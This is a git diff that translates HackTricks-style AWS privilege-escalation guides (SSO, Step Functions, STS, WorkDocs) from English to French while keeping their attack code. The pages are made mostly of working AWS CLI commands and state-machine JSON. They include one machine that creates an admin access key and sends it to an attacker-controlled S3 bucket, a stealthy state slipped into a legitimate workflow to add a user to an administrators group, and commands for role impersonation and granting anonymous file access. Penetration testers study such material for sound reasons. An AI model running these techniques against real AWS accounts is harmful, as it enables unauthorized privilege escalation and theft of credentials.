@@ -78,59 +71,42 @@ aws sso-admin attach-customer-managed-policy-reference-to-permission-set --insta
 # Update the provisioning so the new policy is created in the account
 aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
 ```
-
 ### `sso:CreateAccountAssignment`
 
-An attacker with this permission could give a Permission Set to a user under his control to an account.
-
+Un attaquant disposant de cette autorisation pourrait attribuer un ensemble de permissions à un utilisateur sous son contrôle pour un compte.
 ```bash
 aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>
 ```
-
 ### `sso:GetRoleCredentials`
 
-Returns the STS short-term credentials for a given role name that is assigned to the user.
-
+Renvoie les informations d'identification STS à court terme pour un nom de rôle donné qui est attribué à l'utilisateur.
 ```
 aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>
 ```
-
-However, you need an access token that I'm not sure how to get (TODO).
+Cependant, vous avez besoin d'un jeton d'accès que je ne sais pas comment obtenir (TODO).
 
 ### `sso:DetachManagedPolicyFromPermissionSet`
 
-An attacker with this permission can remove the association between an AWS managed policy from the specified permission set. It is possible to grant more privileges via **detaching a managed policy (deny policy)**.
-
+Un attaquant disposant de cette autorisation peut supprimer l'association entre une politique gérée AWS et l'ensemble de permissions spécifié. Il est possible d'accorder plus de privilèges en **détachant une politique gérée (politique de refus)**.
 ```bash
 aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>
 ```
-
 ### `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet`
 
-An attacker with this permission can remove the association between a Customer managed policy from the specified permission set. It is possible to grant more privileges via **detaching a managed policy (deny policy)**.
-
+Un attaquant ayant cette permission peut supprimer l'association entre une politique gérée par le client et l'ensemble de permissions spécifié. Il est possible d'accorder plus de privilèges en **détachant une politique gérée (politique de refus)**.
 ```bash
 aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>
 ```
-
 ### `sso:DeleteInlinePolicyFromPermissionSet`
 
-An attacker with this permission can action remove the permissions from an inline policy from the permission set. It is possible to grant **more privileges via detaching an inline policy (deny policy)**.
-
+Un attaquant avec cette permission peut supprimer les permissions d'une politique intégrée du jeu de permissions. Il est possible d'accorder **plus de privilèges en détachant une politique intégrée (politique de refus)**.
 ```bash
 aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
 ```
-
 ### `sso:DeletePermissionBoundaryFromPermissionSet`
 
-An attacker with this permission can remove the Permission Boundary from the permission set. It is possible to grant **more privileges by removing the restrictions on the Permission Set** given from the Permission Boundary.
-
+Un attaquant avec cette permission peut supprimer la Limite de Permission du jeu de permissions. Il est possible d'accorder **plus de privilèges en supprimant les restrictions sur le Jeu de Permissions** donné par la Limite de Permission.
 ```bash
 aws sso-admin   delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md
index bfc3adb77..e1d2031ff 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md
@@ -4,73 +4,66 @@
 
 ## Step Functions
 
-For more information about this AWS service, check:
+Pour plus d'informations sur ce service AWS, consultez :
 
 {{#ref}}
 ../aws-services/aws-stepfunctions-enum.md
 {{#endref}}
 
-### Task Resources
+### Ressources de tâche
 
-These privilege escalation techniques are going to require to use some AWS step function resources in order to perform the desired privilege escalation actions.
+Ces techniques d'escalade de privilèges nécessiteront l'utilisation de certaines ressources de fonction d'étape AWS afin d'effectuer les actions d'escalade de privilèges souhaitées.
 
-In order to check all the possible actions, you could go to your own AWS account select the action you would like to use and see the parameters it's using, like in:
+Pour vérifier toutes les actions possibles, vous pouvez vous rendre sur votre propre compte AWS, sélectionner l'action que vous souhaitez utiliser et voir les paramètres qu'elle utilise, comme dans :
 
 <figure><img src="../../../images/telegram-cloud-photo-size-4-5920521132757336440-y.jpg" alt=""><figcaption></figcaption></figure>
 
-Or you could also go to the API AWS documentation and check each action docs:
+Ou vous pouvez également consulter la documentation API AWS et vérifier la documentation de chaque action :
 
 - [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html)
 - [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html)
 
 ### `states:TestState` & `iam:PassRole`
 
-An attacker with the **`states:TestState`** & **`iam:PassRole`** permissions can test any state and pass any IAM role to it without creating or updating an existing state machine, enabling unauthorized access to other AWS services with the roles' permissions. potentially. Combined, these permissions can lead to extensive unauthorized actions, from manipulating workflows to alter data to data breaches, resource manipulation, and privilege escalation.
-
+Un attaquant avec les permissions **`states:TestState`** & **`iam:PassRole`** peut tester n'importe quel état et passer n'importe quel rôle IAM sans créer ou mettre à jour une machine d'état existante, permettant un accès non autorisé à d'autres services AWS avec les permissions des rôles. potentiellement. Combinées, ces permissions peuvent conduire à des actions non autorisées étendues, allant de la manipulation des flux de travail à l'altération des données, aux violations de données, à la manipulation des ressources et à l'escalade de privilèges.
 ```bash
 aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
 ```
-
-The following examples show how to test an state that creates an access key for the **`admin`** user leveraging these permissions and a permissive role of the AWS environment. This permissive role should have any high-privileged policy associated with it (for example **`arn:aws:iam::aws:policy/AdministratorAccess`**) that allows the state to perform the **`iam:CreateAccessKey`** action:
+Les exemples suivants montrent comment tester un état qui crée une clé d'accès pour l'utilisateur **`admin`** en tirant parti de ces autorisations et d'un rôle permissif de l'environnement AWS. Ce rôle permissif devrait avoir une politique à privilèges élevés associée (par exemple **`arn:aws:iam::aws:policy/AdministratorAccess`**) qui permet à l'état d'effectuer l'action **`iam:CreateAccessKey`** :
 
 - **stateDefinition.json**:
-
 ```json
 {
-  "Type": "Task",
-  "Parameters": {
-    "UserName": "admin"
-  },
-  "Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
-  "End": true
+"Type": "Task",
+"Parameters": {
+"UserName": "admin"
+},
+"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
+"End": true
 }
 ```
-
-- **Command** executed to perform the privesc:
-
+- **Commande** exécutée pour effectuer le privesc :
 ```bash
 aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole
 
 {
-  "output": "{
-	  \"AccessKey\":{
-		  \"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
-		  \"CreateDate\":\"2024-07-09T16:59:11Z\",
-		  \"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
-		  \"Status\":\"Active\",
-		  \"UserName\":\"admin\"
-	  }
-  }",
-	"status": "SUCCEEDED"
+"output": "{
+\"AccessKey\":{
+\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
+\"CreateDate\":\"2024-07-09T16:59:11Z\",
+\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
+\"Status\":\"Active\",
+\"UserName\":\"admin\"
+}
+}",
+"status": "SUCCEEDED"
 }
 ```
-
-**Potential Impact**: Unauthorized execution and manipulation of workflows and access to sensitive resources, potentially leading to significant security breaches.
+**Impact potentiel** : Exécution non autorisée et manipulation de flux de travail et accès à des ressources sensibles, pouvant entraîner des violations de sécurité significatives.
 
 ### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)
 
-An attacker with the **`states:CreateStateMachine`**& **`iam:PassRole`** would be able to create an state machine and provide to it any IAM role, enabling unauthorized access to other AWS services with the roles' permissions. In contrast with the previous privesc technique (**`states:TestState`** & **`iam:PassRole`**), this one does not execute by itself, you will also need to have the **`states:StartExecution`** or **`states:StartSyncExecution`** permissions (**`states:StartSyncExecution`** is **not available for standard workflows**, **just to express state machines**) in order to start and execution over the state machine.
-
+Un attaquant avec les **`states:CreateStateMachine`** & **`iam:PassRole`** serait capable de créer une machine d'état et de lui fournir n'importe quel rôle IAM, permettant un accès non autorisé à d'autres services AWS avec les permissions du rôle. Contrairement à la technique de privesc précédente (**`states:TestState`** & **`iam:PassRole`**), celle-ci ne s'exécute pas d'elle-même, vous devrez également avoir les permissions **`states:StartExecution`** ou **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **n'est pas disponible pour les flux de travail standard**, **juste pour les machines d'état express**) afin de démarrer une exécution sur la machine d'état.
 ```bash
 # Create a state machine
 aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
@@ -82,176 +75,157 @@ aws states start-execution --state-machine-arn <value> [--name <value>] [--input
 # Start a Synchronous Express state machine execution
 aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
 ```
-
-The following examples show how to create an state machine that creates an access key for the **`admin`** user and exfiltrates this access key to an attacker-controlled S3 bucket, leveraging these permissions and a permissive role of the AWS environment. This permissive role should have any high-privileged policy associated with it (for example **`arn:aws:iam::aws:policy/AdministratorAccess`**) that allows the state machine to perform the **`iam:CreateAccessKey`** & **`s3:putObject`** actions.
+Les exemples suivants montrent comment créer une machine d'état qui crée une clé d'accès pour l'utilisateur **`admin`** et exfiltre cette clé d'accès vers un bucket S3 contrôlé par un attaquant, en tirant parti de ces autorisations et d'un rôle permissif de l'environnement AWS. Ce rôle permissif devrait avoir une politique à privilèges élevés associée (par exemple **`arn:aws:iam::aws:policy/AdministratorAccess`**) qui permet à la machine d'état d'effectuer les actions **`iam:CreateAccessKey`** et **`s3:putObject`**.
 
 - **stateMachineDefinition.json**:
-
 ```json
 {
-  "Comment": "Malicious state machine to create IAM access key and upload to S3",
-  "StartAt": "CreateAccessKey",
-  "States": {
-    "CreateAccessKey": {
-      "Type": "Task",
-      "Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
-      "Parameters": {
-        "UserName": "admin"
-      },
-      "ResultPath": "$.AccessKeyResult",
-      "Next": "PrepareS3PutObject"
-    },
-    "PrepareS3PutObject": {
-      "Type": "Pass",
-      "Parameters": {
-        "Body.$": "$.AccessKeyResult.AccessKey",
-        "Bucket": "attacker-controlled-S3-bucket",
-        "Key": "AccessKey.json"
-      },
-      "ResultPath": "$.S3PutObjectParams",
-      "Next": "PutObject"
-    },
-    "PutObject": {
-      "Type": "Task",
-      "Resource": "arn:aws:states:::aws-sdk:s3:putObject",
-      "Parameters": {
-        "Body.$": "$.S3PutObjectParams.Body",
-        "Bucket.$": "$.S3PutObjectParams.Bucket",
-        "Key.$": "$.S3PutObjectParams.Key"
-      },
-      "End": true
-    }
-  }
+"Comment": "Malicious state machine to create IAM access key and upload to S3",
+"StartAt": "CreateAccessKey",
+"States": {
+"CreateAccessKey": {
+"Type": "Task",
+"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
+"Parameters": {
+"UserName": "admin"
+},
+"ResultPath": "$.AccessKeyResult",
+"Next": "PrepareS3PutObject"
+},
+"PrepareS3PutObject": {
+"Type": "Pass",
+"Parameters": {
+"Body.$": "$.AccessKeyResult.AccessKey",
+"Bucket": "attacker-controlled-S3-bucket",
+"Key": "AccessKey.json"
+},
+"ResultPath": "$.S3PutObjectParams",
+"Next": "PutObject"
+},
+"PutObject": {
+"Type": "Task",
+"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
+"Parameters": {
+"Body.$": "$.S3PutObjectParams.Body",
+"Bucket.$": "$.S3PutObjectParams.Bucket",
+"Key.$": "$.S3PutObjectParams.Key"
+},
+"End": true
+}
+}
 }
 ```
-
-- **Command** executed to **create the state machine**:
-
+- **Commande** exécutée pour **créer la machine d'état** :
 ```bash
 aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
 {
-  "stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
-  "creationDate": "2024-07-09T20:29:35.381000+02:00"
+"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
+"creationDate": "2024-07-09T20:29:35.381000+02:00"
 }
 ```
-
-- **Command** executed to **start an execution** of the previously created state machine:
-
+- **Commande** exécutée pour **démarrer une exécution** de la machine d'état précédemment créée :
 ```json
 aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
 {
-    "executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
-    "startDate": "2024-07-09T20:33:35.466000+02:00"
+"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
+"startDate": "2024-07-09T20:33:35.466000+02:00"
 }
 ```
-
 > [!WARNING]
-> The attacker-controlled S3 bucket should have permissions to accept an s3:PutObject action from the victim account.
+> Le bucket S3 contrôlé par l'attaquant doit avoir des permissions pour accepter une action s3:PutObject du compte victime.
 
-**Potential Impact**: Unauthorized execution and manipulation of workflows and access to sensitive resources, potentially leading to significant security breaches.
+**Impact potentiel** : Exécution non autorisée et manipulation de workflows et accès à des ressources sensibles, pouvant entraîner des violations de sécurité significatives.
 
-### `states:UpdateStateMachine` & (not always required) `iam:PassRole`
+### `states:UpdateStateMachine` & (pas toujours requis) `iam:PassRole`
 
-An attacker with the **`states:UpdateStateMachine`** permission would be able to modify the definition of an state machine, being able to add extra stealthy states that could end in a privilege escalation. This way, when a legitimate user starts an execution of the state machine, this new malicious stealth state will be executed and the privilege escalation will be successful.
+Un attaquant avec la permission **`states:UpdateStateMachine`** serait capable de modifier la définition d'une machine d'état, pouvant ajouter des états furtifs supplémentaires qui pourraient aboutir à une élévation de privilèges. De cette manière, lorsque qu'un utilisateur légitime démarre une exécution de la machine d'état, ce nouvel état furtif malveillant sera exécuté et l'élévation de privilèges sera réussie.
 
-Depending on how permissive is the IAM Role associated to the state machine is, an attacker would face 2 situations:
-
-1. **Permissive IAM Role**: If the IAM Role associated to the state machine is already permissive (it has for example the **`arn:aws:iam::aws:policy/AdministratorAccess`** policy attached), then the **`iam:PassRole`** permission would not be required in order to escalate privileges since it would not be necessary to also update the IAM Role, with the state machine definition is enough.
-2. **Not permissive IAM Role**: In contrast with the previous case, here an attacker would also require the **`iam:PassRole`** permission since it would be necessary to associate a permissive IAM Role to the state machine in addition to modify the state machine definition.
+Selon le niveau de permissivité du rôle IAM associé à la machine d'état, un attaquant serait confronté à 2 situations :
 
+1. **Rôle IAM permissif** : Si le rôle IAM associé à la machine d'état est déjà permissif (il a par exemple la politique **`arn:aws:iam::aws:policy/AdministratorAccess`** attachée), alors la permission **`iam:PassRole`** ne serait pas requise pour élever les privilèges puisque ce ne serait pas nécessaire de mettre à jour le rôle IAM, la définition de la machine d'état suffit.
+2. **Rôle IAM non permissif** : Contrairement au cas précédent, ici un attaquant aurait également besoin de la permission **`iam:PassRole`** car il serait nécessaire d'associer un rôle IAM permissif à la machine d'état en plus de modifier la définition de la machine d'état.
 ```bash
 aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
 [--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
 ```
-
-The following examples show how to update a legit state machine that just invokes a HelloWorld Lambda function, in order to add an extra state that adds the user **`unprivilegedUser`** to the **`administrator`** IAM Group. This way, when a legitimate user starts an execution of the updated state machine, this new malicious stealth state will be executed and the privilege escalation will be successful.
+Les exemples suivants montrent comment mettre à jour une machine d'état légitime qui invoque simplement une fonction Lambda HelloWorld, afin d'ajouter un état supplémentaire qui ajoute l'utilisateur **`unprivilegedUser`** au groupe IAM **`administrator`**. De cette manière, lorsqu'un utilisateur légitime démarre une exécution de la machine d'état mise à jour, ce nouvel état furtif malveillant sera exécuté et l'escalade de privilèges sera réussie.
 
 > [!WARNING]
-> If the state machine does not have a permissive IAM Role associated, it would also be required the **`iam:PassRole`** permission to update the IAM Role in order to associate a permissive IAM Role (for example one with the **`arn:aws:iam::aws:policy/AdministratorAccess`** policy attached).
+> Si la machine d'état n'a pas de rôle IAM permissif associé, il serait également nécessaire d'avoir la permission **`iam:PassRole`** pour mettre à jour le rôle IAM afin d'associer un rôle IAM permissif (par exemple, un avec la politique **`arn:aws:iam::aws:policy/AdministratorAccess`** attachée).
 
 {{#tabs }}
 {{#tab name="Legit State Machine" }}
-
 ```json
 {
-  "Comment": "Hello world from Lambda state machine",
-  "StartAt": "Start PassState",
-  "States": {
-    "Start PassState": {
-      "Type": "Pass",
-      "Next": "LambdaInvoke"
-    },
-    "LambdaInvoke": {
-      "Type": "Task",
-      "Resource": "arn:aws:states:::lambda:invoke",
-      "Parameters": {
-        "FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
-      },
-      "Next": "End PassState"
-    },
-    "End PassState": {
-      "Type": "Pass",
-      "End": true
-    }
-  }
+"Comment": "Hello world from Lambda state machine",
+"StartAt": "Start PassState",
+"States": {
+"Start PassState": {
+"Type": "Pass",
+"Next": "LambdaInvoke"
+},
+"LambdaInvoke": {
+"Type": "Task",
+"Resource": "arn:aws:states:::lambda:invoke",
+"Parameters": {
+"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
+},
+"Next": "End PassState"
+},
+"End PassState": {
+"Type": "Pass",
+"End": true
+}
+}
 }
 ```
-
 {{#endtab }}
 
-{{#tab name="Malicious Updated State Machine" }}
-
+{{#tab name="Machine d'État Malveillante Mise à Jour" }}
 ```json
 {
-  "Comment": "Hello world from Lambda state machine",
-  "StartAt": "Start PassState",
-  "States": {
-    "Start PassState": {
-      "Type": "Pass",
-      "Next": "LambdaInvoke"
-    },
-    "LambdaInvoke": {
-      "Type": "Task",
-      "Resource": "arn:aws:states:::lambda:invoke",
-      "Parameters": {
-        "FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
-      },
-      "Next": "AddUserToGroup"
-    },
-    "AddUserToGroup": {
-      "Type": "Task",
-      "Parameters": {
-        "GroupName": "administrator",
-        "UserName": "unprivilegedUser"
-      },
-      "Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup",
-      "Next": "End PassState"
-    },
-    "End PassState": {
-      "Type": "Pass",
-      "End": true
-    }
-  }
+"Comment": "Hello world from Lambda state machine",
+"StartAt": "Start PassState",
+"States": {
+"Start PassState": {
+"Type": "Pass",
+"Next": "LambdaInvoke"
+},
+"LambdaInvoke": {
+"Type": "Task",
+"Resource": "arn:aws:states:::lambda:invoke",
+"Parameters": {
+"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
+},
+"Next": "AddUserToGroup"
+},
+"AddUserToGroup": {
+"Type": "Task",
+"Parameters": {
+"GroupName": "administrator",
+"UserName": "unprivilegedUser"
+},
+"Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup",
+"Next": "End PassState"
+},
+"End PassState": {
+"Type": "Pass",
+"End": true
+}
+}
 }
 ```
-
 {{#endtab }}
 {{#endtabs }}
 
-- **Command** executed to **update** **the legit state machine**:
-
+- **Commande** exécutée pour **mettre à jour** **la machine d'état légitime** :
 ```bash
 aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
 {
-    "updateDate": "2024-07-10T20:07:10.294000+02:00",
-    "revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
+"updateDate": "2024-07-10T20:07:10.294000+02:00",
+"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
 }
 ```
-
-**Potential Impact**: Unauthorized execution and manipulation of workflows and access to sensitive resources, potentially leading to significant security breaches.
+**Impact potentiel** : Exécution non autorisée et manipulation de flux de travail et accès à des ressources sensibles, pouvant entraîner des violations de sécurité significatives.
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md
index 782bcc237..4d81730e6 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md
@@ -6,121 +6,101 @@
 
 ### `sts:AssumeRole`
 
-Every role is created with a **role trust policy**, this policy indicates **who can assume the created role**. If a role from the **same account** says that an account can assume it, it means that the account will be able to access the role (and potentially **privesc**).
-
-For example, the following role trust policy indicates that anyone can assume it, therefore **any user will be able to privesc** to the permissions associated with that role.
+Chaque rôle est créé avec une **politique de confiance de rôle**, cette politique indique **qui peut assumer le rôle créé**. Si un rôle du **même compte** indique qu'un compte peut l'assumer, cela signifie que le compte pourra accéder au rôle (et potentiellement **privesc**).
 
+Par exemple, la politique de confiance de rôle suivante indique que tout le monde peut l'assumer, donc **tout utilisateur pourra privesc** aux permissions associées à ce rôle.
 ```json
 {
-  "Version": "2012-10-17",
-  "Statement": [
-    {
-      "Effect": "Allow",
-      "Principal": {
-        "AWS": "*"
-      },
-      "Action": "sts:AssumeRole"
-    }
-  ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "sts:AssumeRole"
+}
+]
 }
 ```
-
-You can impersonate a role running:
-
+Vous pouvez usurper un rôle en exécutant :
 ```bash
 aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname
 ```
-
-**Potential Impact:** Privesc to the role.
+**Impact potentiel :** Privesc au rôle.
 
 > [!CAUTION]
-> Note that in this case the permission `sts:AssumeRole` needs to be **indicated in the role to abuse** and not in a policy belonging to the attacker.\
-> With one exception, in order to **assume a role from a different account** the attacker account **also needs** to have the **`sts:AssumeRole`** over the role.
+> Notez que dans ce cas, la permission `sts:AssumeRole` doit être **indiquée dans le rôle à abuser** et non dans une politique appartenant à l'attaquant.\
+> Avec une exception, afin de **prendre un rôle d'un compte différent**, le compte de l'attaquant **doit également** avoir le **`sts:AssumeRole`** sur le rôle.
 
 ### **`sts:GetFederationToken`**
 
-With this permission it's possible to generate credentials to impersonate any user:
-
+Avec cette permission, il est possible de générer des identifiants pour usurper n'importe quel utilisateur :
 ```bash
 aws sts get-federation-token --name <username>
 ```
-
-This is how this permission can be given securely without giving access to impersonate other users:
-
+C'est ainsi que cette autorisation peut être accordée en toute sécurité sans donner accès à l'imitation d'autres utilisateurs :
 ```json
 {
-  "Version": "2012-10-17",
-  "Statement": [
-    {
-      "Sid": "VisualEditor0",
-      "Effect": "Allow",
-      "Action": "sts:GetFederationToken",
-      "Resource": "arn:aws:sts::947247140022:federated-user/${aws:username}"
-    }
-  ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "VisualEditor0",
+"Effect": "Allow",
+"Action": "sts:GetFederationToken",
+"Resource": "arn:aws:sts::947247140022:federated-user/${aws:username}"
+}
+]
 }
 ```
-
 ### `sts:AssumeRoleWithSAML`
 
-A trust policy with this role grants **users authenticated via SAML access to impersonate the role.**
-
-An example of a trust policy with this permission is:
+Une politique de confiance avec ce rôle accorde **aux utilisateurs authentifiés via SAML l'accès pour usurper le rôle.**
 
+Un exemple d'une politique de confiance avec cette permission est :
 ```json
 {
-  "Version": "2012-10-17",
-  "Statement": [
-    {
-      "Sid": "OneLogin",
-      "Effect": "Allow",
-      "Principal": {
-        "Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin"
-      },
-      "Action": "sts:AssumeRoleWithSAML",
-      "Condition": {
-        "StringEquals": {
-          "SAML:aud": "https://signin.aws.amazon.com/saml"
-        }
-      }
-    }
-  ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "OneLogin",
+"Effect": "Allow",
+"Principal": {
+"Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin"
+},
+"Action": "sts:AssumeRoleWithSAML",
+"Condition": {
+"StringEquals": {
+"SAML:aud": "https://signin.aws.amazon.com/saml"
+}
+}
+}
+]
 }
 ```
-
-To generate credentials to impersonate the role in general you could use something like:
-
+Pour générer des identifiants afin d'usurper le rôle, vous pourriez utiliser quelque chose comme :
 ```bash
 aws sts  assume-role-with-saml --role-arn <value> --principal-arn <value>
 ```
-
-But **providers** might have their **own tools** to make this easier, like [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role):
-
+Mais les **fournisseurs** peuvent avoir leurs **propres outils** pour faciliter cela, comme [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role) :
 ```bash
 onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600
 ```
-
-**Potential Impact:** Privesc to the role.
+**Impact potentiel :** Privesc au rôle.
 
 ### `sts:AssumeRoleWithWebIdentity`
 
-This permission grants permission to obtain a set of temporary security credentials for **users who have been authenticated in a mobile, web application, EKS...** with a web identity provider. [Learn more here.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html)
-
-For example, if an **EKS service account** should be able to **impersonate an IAM role**, it will have a token in **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** and can **assume the role and get credentials** doing something like:
+Cette permission accorde le droit d'obtenir un ensemble de credentials de sécurité temporaires pour **les utilisateurs qui ont été authentifiés dans une application mobile, web, EKS...** avec un fournisseur d'identité web. [En savoir plus ici.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html)
 
+Par exemple, si un **compte de service EKS** doit être capable de **se faire passer pour un rôle IAM**, il aura un jeton dans **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** et peut **assumer le rôle et obtenir des credentials** en faisant quelque chose comme :
 ```bash
 aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/<role_name> --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
 # The role name can be found in the metadata of the configuration of the pod
 ```
-
-### Federation Abuse
+### Abus de fédération
 
 {{#ref}}
 ../aws-basic-information/aws-federation-abuse.md
 {{#endref}}
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md
index 4b1e5e7e9..72a976d41 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md
@@ -2,7 +2,7 @@
 
 ## WorkDocs
 
-For more info about WorkDocs check:
+Pour plus d'informations sur WorkDocs, consultez :
 
 {{#ref}}
 ../aws-services/aws-directory-services-workdocs-enum.md
@@ -10,17 +10,14 @@ For more info about WorkDocs check:
 
 ### `workdocs:CreateUser`
 
-Create a user inside the Directory indicated, then you will have access to both WorkDocs and AD:
-
+Créez un utilisateur dans le répertoire indiqué, puis vous aurez accès à la fois à WorkDocs et à AD :
 ```bash
 # Create user (created inside the AD)
 aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password <password> --email-address name@directory.domain --organization-id <directory-id>
 ```
-
 ### `workdocs:GetDocument`, `(workdocs:`DescribeActivities`)`
 
-The files might contain sensitive information, read them:
-
+Les fichiers peuvent contenir des informations sensibles, lisez-les :
 ```bash
 # Get what was created in the directory
 aws workdocs describe-activities --organization-id <directory-id>
@@ -31,26 +28,19 @@ aws workdocs describe-activities --user-id "S-1-5-21-377..."
 # Get file (a url to access with the content will be retreived)
 aws workdocs get-document --document-id <doc-id>
 ```
-
 ### `workdocs:AddResourcePermissions`
 
-If you don't have access to read something, you can just grant it
-
+Si vous n'avez pas accès pour lire quelque chose, vous pouvez simplement l'accorder.
 ```bash
 # Add permission so anyway can see the file
 aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER
 ## This will give an id, the file will be acesible in: https://<name>.awsapps.com/workdocs/index.html#/share/document/<id>
 ```
-
 ### `workdocs:AddUserToGroup`
 
-You can make a user admin by setting it in the group ZOCALO_ADMIN.\
-For that follow the instructions from [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html)
-
-Login with that user in workdoc and access the admin panel in `/workdocs/index.html#/admin`
-
-I didn't find any way to do this from the cli.
-
-
+Vous pouvez rendre un utilisateur administrateur en le plaçant dans le groupe ZOCALO_ADMIN.\
+Pour cela, suivez les instructions de [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html)
 
+Connectez-vous avec cet utilisateur dans workdoc et accédez au panneau d'administration à `/workdocs/index.html#/admin`
 
+Je n'ai trouvé aucun moyen de le faire depuis le cli.
